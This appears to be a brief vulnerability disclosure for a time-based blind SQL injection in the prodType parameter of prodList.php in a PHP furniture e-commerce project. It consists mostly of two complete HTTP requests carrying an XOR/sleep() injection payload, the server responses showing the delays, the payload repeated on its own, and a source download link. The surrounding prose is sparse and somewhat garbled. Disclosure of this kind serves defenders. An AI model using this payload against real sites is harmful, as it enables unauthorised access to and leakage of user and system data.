

SQL injection vulnerability exists in prodType parameter of prodList.php file of Online Furniture Shopping Ecommerce Website Project

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 3s:

Request

```
1 GET /furniture_master/prodList.php?prodType=0'XOR(if(now())=sysdate())%2Csleep(1.5)%2C0))XOR'Z HTTP/1.1
2 X-Requested-With: XMLHttpRequest
3 Referer: http://192.168.31.163/furniture_master/
4 Cookie: PHPSESSID=r5217414r7k401fvvq3qngdbkh; basket[id]=4%3A1; basket[id]=4%3A1; basket[name]=Dawson+Bed%3ABrighton+Bed; basket[name]=Dawson+Bed%3ABrighton+Bed; basket[price]=9090%3A11570; basket[price]=9090%3A11570; basket[qty]=19623944%3A9; basket[qty]=1%3A7; basket[image]=bed4.jpg%3Abed1.jpg; basket[image]=bed4.jpg%3Abed1.jpg; basket[type]=bed%3Abed; basket[type]=bed%3Abed
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 302 Found
2 Server: nginx/1.15.11
3 Date: Fri, 19 Apr 2024 06:10:55 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Location: prodInfo.php
11 Content-Length: 3163
12
13 <!DOCTYPE html>
14 <html>
15
16 <head>
17 <title>
18 &#124; DAVA
19 </title>
20 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
21
22 <link href="css/pagination.css" rel="stylesheet" type="text/css" />
23 <link href="css/grey.css" rel="stylesheet" type="text/css" />
```

Done 3,490 bytes | 3,012 millis

Sleep time is 8s:

Request

```
1 GET /furniture_master/prodList.php?prodType=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z HTTP/1.1
2 X-Requested-With: XMLHttpRequest
3 Referer: http://192.168.31.163/furniture_master/
4 Cookie: PHPSESSID=r5217414r7k401fvvq3qngdbkh; basket[id]=4%3A1; basket[id]=4%3A1; basket[name]=Dawson+Bed%3ABrighton+Bed; basket[name]=Dawson+Bed%3ABrighton+Bed; basket[price]=9090%3A11570; basket[price]=9090%3A11570; basket[qty]=19623944%3A9; basket[qty]=1%3A7; basket[image]=bed4.jpg%3Abed1.jpg; basket[image]=bed4.jpg%3Abed1.jpg; basket[type]=bed%3Abed; basket[type]=bed%3Abed
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 302 Found
2 Server: nginx/1.15.11
3 Date: Fri, 19 Apr 2024 06:10:32 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Location: prodInfo.php
11 Content-Length: 3163
12
13 <!DOCTYPE html>
14 <html>
15
16 <head>
17 <title>
18 &#124; DAVA
19 </title>
20 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
21
22 <link href="css/pagination.css" rel="stylesheet" type="text/css" />
23 <link href="css/grey.css" rel="stylesheet" type="text/css" />
```

Done 3,490 bytes | 8,228 millis

Payload: prodType=0'XOR(if(now())=sysdate())%2Csleep(1.5)%2C0))XOR'Z

Source Download:

<https://www.kashipara.com/project/php/12661/online-furniture-shopping-ecommerce-website-php-project-source-code>